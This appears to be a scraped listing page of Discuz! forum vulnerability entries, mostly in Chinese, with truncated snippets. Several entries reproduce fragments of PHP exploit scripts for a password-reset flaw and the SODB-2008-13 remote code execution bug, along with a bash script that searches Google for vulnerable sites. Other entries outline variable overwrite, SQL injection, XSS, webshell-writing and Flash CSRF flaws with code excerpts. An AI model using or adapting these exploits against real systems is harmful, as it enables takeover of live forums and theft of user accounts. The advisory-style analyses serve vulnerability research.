Discuz! Reset User Password Vulnerability

由于Discuz! 的随机数使用的播种缺陷,在找会用户密码时可以暴力得到id的随机hash,从而导致容易修改用户密码的严重漏洞.br / Discuz 5.x/6.x/7.x 暂无，等待官方补丁 !/usr/bin/php ?php printr' +---------------------------------------------------------------------------+ Discuz! Reset User Password Exploit by 80vul team: http://www.80vul.com...

Discuz! 6.x/7.x $_DCACHE数组变量覆盖漏洞 Check

No description provided by source. !/bin/bash Discuz! 6.x/7.x SODB-2008-13 Check By heihei@安全小站群 文件中googlepagecount参数是 google搜索结果的页数，大于0就可以，太大了，google会认为是自动机而停止处理！ 开启WAP注册的结果URL列表保存在当前目录下urllist 修正 cnb|rd@SEBUG 需要自己修改countPage，因为googlepagecount多了google就以为是病毒呢 countPage=10 flag=0 while "$flag" -lt...

Discuz! 6. x/7. x SODB-2 0 0 8-1 3 Exp full automatically obtain the SHELL with the log-vulnerability warning-the black bar safety net

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝Discuz.php＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝ !/ usr/bin/php ? php / Discuz! 6. x/7. x SODB-2 0 0 8-1 3 Exp By www.80vul.com Notes the value of the variable, add your own modifications / if $argc3 printr' -------------------------------------------------------------------------------- Usage...

DZ! sodb-2 0 0 8-1 3 EXP published-vulnerability warning-the black bar safety net

!/ usr/bin/php ? php / Discuz! 6. x/7. x SODB-2 0 0 8-1 3 Exp By www.80vul.com Notes the value of the variable, add your own modifications / $host = ‘www.80vul.com’; // Server domain or IP $path = ‘/discuz/’; // Where the program path $key = 0; // The above variable is edited, make will the value...

Discuz! 6. x/7. x SODB-2 0 0 8-1 3 Exp-vulnerability warning-the black bar safety net

!/ usr/bin/php ? php / Discuz! 6. x/7. x SODB-2 0 0 8-1 3 Exp By www.80vul.com Notes the value of the variable, add your own modifications / $host = 'www.80vul.com'; // Server domain or IP $path = '/discuz/'; // Where the program path $key = 0; // The above variable is edited, make will the value...

Discuz! 6.x/7.x SODB-2008-13 Exp

No description provided by source. !/usr/bin/php ?php / Discuz! 6.x/7.x SODB-2008-13 Exp By www.80vul.com 文件中注释的变量值请自行修改 / $host = 'www.80vul.com'; // 服务器域名或IP $path = '/discuz/'; // 程序所在的路径 $key = 0; // 上面的变量编辑好后，请将此处的值改为1 if strpos$host, '://' !== false || strpos$path, '/' === false || $key !==...

Discuz! 6.x/7.x Remote Code Execution Exploit

No description provided by source. !/usr/bin/php ?php / Discuz! 6.x/7.x SODB-2008-13 Exp By www.80vul.com 文件中注释的变量值请自行修改 / $host = 'www.80vul.com'; // 服务器域名或IP $path = '/discuz/'; // 程序所在的路径 $key = 0; //...

Discuz! 6.x/7.x Remote Code Execution Exploit

Exploit for unknown platform in category web applications ============================================= Discuz! 6.x/7.x Remote Code Execution Exploit ============================================= !/usr/bin/php ?php / Discuz! 6.x/7.x SODB-2008-13 Exp / $host = 'www.80vul.com'; // ??????IP $path =...

Discuz! 6.x7.x - Remote Code Execution

Discuz! 6.x7.x - Remote Code Execution !/usr/bin/php ?php / Discuz! 6.x/7.x SODB-2008-13 Exp By www.80vul.com 文件中注释的变量值请自行修改 / $host = 'www.80vul.com'; // 服务器域名或IP $path = '/discuz/'; // 程序所在的路径 $key = 0; //...

Discuz! 6.x/7.x - Remote Code Execution

!/usr/bin/php ?php / Discuz! 6.x/7.x SODB-2008-13 Exp By www.80vul.com 文件中注释的变量值请自行修改 / $host = 'www.80vul.com'; // 服务器域名或IP $path = '/discuz/'; // 程序所在的路径 $key = 0; // 上面的变量编辑好后，请将此处的值改为1 if strpos$host,...

discuz-exec.txt

!/usr/bin/php \n别告诉我你不会用 -,-\n"; else exit"嗯,大概是该网站不存在漏洞,换一个吧 -,-\n"; fun...

Discuz! $_DCACHE数组变量覆盖漏洞

由于Discuz! 的wap\index.php调用Chinese类里Convert方法在处理post数据时不当忽视对数组的处理,可使数组被覆盖为NULL.当覆盖$DCACHE时导致导致xss sql注射 代码执行等众多严重的安全问题.br / br / 一 分析br / /wap/index.phpbr / //43行br /pre$chs = ''; if$POST && $charset != 'utf-8' $chs = new Chinese'UTF-8', $charset; foreach$POST as $key = $value $$key =...

Discuz! 路径信息泄露漏洞

目录\ucclient\data\cache,\forumdata\cache等下面的文件里对如:br / br / $CACHE'settings' = array br / 'accessemail' = '',br / 'censoremail' = '',br / 'censorusername' = '',br / 'dateformat' = 'y-n-j',br / 'doublee' = '1',br / 'nextnotetime' = '0',br / 'timeoffset' = '28800',br / ;br / br / br /...

Discuz! member.php xss漏洞

member.php代码: if!empty$listgid && $listgid == intval$GET'listgid' //这里用的等于==而不是全等===进行的比较,且$listgid并没有初始化: $type = $adminid == 1 ? 'grouplist' : $type; else $listgid = ''; ... $multipage = multi$num, $memberperpage, $page,...

Discuz! 数据库错误信息xss bug

在文件include\dbmysqlerror.inc.php里代码: if$message $errmsg = "bDiscuz! info/b: $message\n\n"; ifisset$GLOBALS'DSESSION''discuzuser' $errmsg .= "bUser/b: ".htmlspecialchars$GLOBALS'DSESSION''discuzuser'."\n"; $errmsg .= "bTime/b: ".gmdate"Y-n-j g:ia", $timestamp + $GLOBALS'timeoffset' 3600."\n"; $errm...

Discuz!4.x wap\index.php 变量覆盖漏洞

Discuz!4.x一直存在着一个变量覆盖漏洞n年了.代码如下: $chs = ''; if$POST && $charset != 'utf-8' $chs = new Chinese'UTF-8', $charset; foreach$POST as $key = $value $$key = $chs-Convert$value; //foreach处理$POST导致变量覆盖 unset$chs;...

Discuz! modcp/moderate.inc.php 数据库注射漏洞

在文件modcp\moderate.inc.php里代码: requireonce DISCUZROOT.'./include/discuzcode.func.php'; requireonce DISCUZROOT.'./include/attachment.func.php'; $ppp = 10; $page = max1, intval$page; $startlimit = $page - 1 $ppp; $modcount = $db-resultfirst"SELECT COUNT FROM $tablepreposts WHERE invisible='$pstat' A...

Discuz!cache.func.php 信息泄漏

漏洞存在于文件\include\cache.func.php里的代码如下: define'DISCUZKERNELVERSION', '6.1.0'; define'DISCUZKERNELRELEASE', '20080418'; ifisset$GET'kernelversion' exit'Crossday Discuz! Boardbr /Developed by Comsenz Inc.br /br /Version: '.DISCUZKERNELVERSION.'br /Release: '.DISCUZKERNELRELEASE;...

Discuz! admin\runwizard.inc.php get-webshell bug

由于Discuz!的admin\runwizard.inc.php里saverunwizardhistory写文件操作没有限制导致执行代码漏洞. 在文件admin\runwizard.inc.php里代码: $runwizardhistory = array; $runwizardfile = DISCUZROOT.'./forumdata/logs/runwizardlog.php'; if$fp = @fopen$runwizardfile, 'r' $runwizardhistory = @unserializefread$fp, 99999; fclose$fp;...

Discuz! flash csrf vul

Discuz!的安全人员已经意识到csrf方面的漏洞了采用了formhash及判断Referer等来防止外部提交,如果看过Bypass Preventing CSRF1一文的朋友应该意识到我们可以通过flash来进行csrf攻击. 首先我们看Discuz!6开始自带了crossdomain.xml文件,代码如下: ?xml version="1.0"? cross-domain-policy allow-access-from domain="" / /cross-domain-policy 允许容易域的访问,对于Discuz!的formhash我们可以通过as来处理得到如下代码:...